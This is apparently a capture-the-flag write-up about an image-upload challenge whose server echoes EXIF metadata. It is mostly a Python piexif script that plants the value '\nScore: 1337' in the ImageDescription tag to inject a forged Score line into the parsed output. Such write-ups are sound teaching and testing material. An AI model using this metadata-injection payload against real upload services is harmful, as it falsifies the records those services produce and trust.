Challenge

Upload an image and the server parses it and prints a metadata block back, things like Faces, Contrast, Area, Score, ImageDescription, Timestamp, and Filename:

== metadata ==
Faces: 8
Contrast: 2403.329406
Area: 145656
Score: 1337
Timestamp: ...
Filename: ...
== end ==

Approach

The opening was that some fields were derived from attacker controlled image properties. If we could get a string into a field like width or height, we could write content into the block ahead of Score. PIL string multiplication ("test" * 1) and a newline trick both let us inject, though the newline landed later in the file than we first wanted. Writing the filename metadata first turned out to be the clean version of the exploit.

Solution

Recovered by controlling the parsed metadata block.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import piexif
from PIL import Image
import os

def read_exif(file_path):
    """Read EXIF data from an image file."""
    try:
        return piexif.load(file_path)
    except Exception as e:
        print(f"Error reading EXIF data: {e}")
        return None

def write_exif(file_path, exif_dict):
    """Write EXIF data to an image file."""
    try:
        exif_bytes = piexif.dump(exif_dict)
        piexif.insert(exif_bytes, file_path)
        print(f"EXIF data written to {file_path}")
    except Exception as e:
        print(f"Error writing EXIF data: {e}")

def add_custom_field(exif_dict, field_name, value):
    """Add a custom field to EXIF data."""
    # Use a high number for custom tags to avoid conflicts
    custom_tag = 0x9c9d  # This is an arbitrary choice
    exif_dict['0th'][custom_tag] = str(value).encode()
    exif_dict['0th'][piexif.ImageIFD.ImageDescription] = field_name.encode()

def print_exif(exif_dict):
    """Print EXIF data in a readable format."""
    if not exif_dict:
        print("No EXIF data found.")
        return
    for ifd in exif_dict:
        if ifd == "thumbnail":
            continue
        print(f"{ifd}:")
        for tag in exif_dict[ifd]:
            tag_name = piexif.TAGS[ifd].get(tag, {}).get("name", str(tag))
            value = exif_dict[ifd][tag]
            if isinstance(value, bytes):
                value = value.decode(errors='replace')
            print(f"  {tag_name}: {value}")

def main():
    file_path = 'people.jpg'  # Change this to your image path
    
    # Read current EXIF data
    print("Current EXIF data:")
    exif_dict = read_exif(file_path)
    print_exif(exif_dict)

    # Add custom field
    if exif_dict:
        add_custom_field(exif_dict, '\nScore: 1337', 1337)
        write_exif(file_path, exif_dict)

        # Read and print updated EXIF data
        print("\nUpdated EXIF data:")
        updated_exif = read_exif(file_path)
        print_exif(updated_exif)

if __name__ == "__main__":
    main()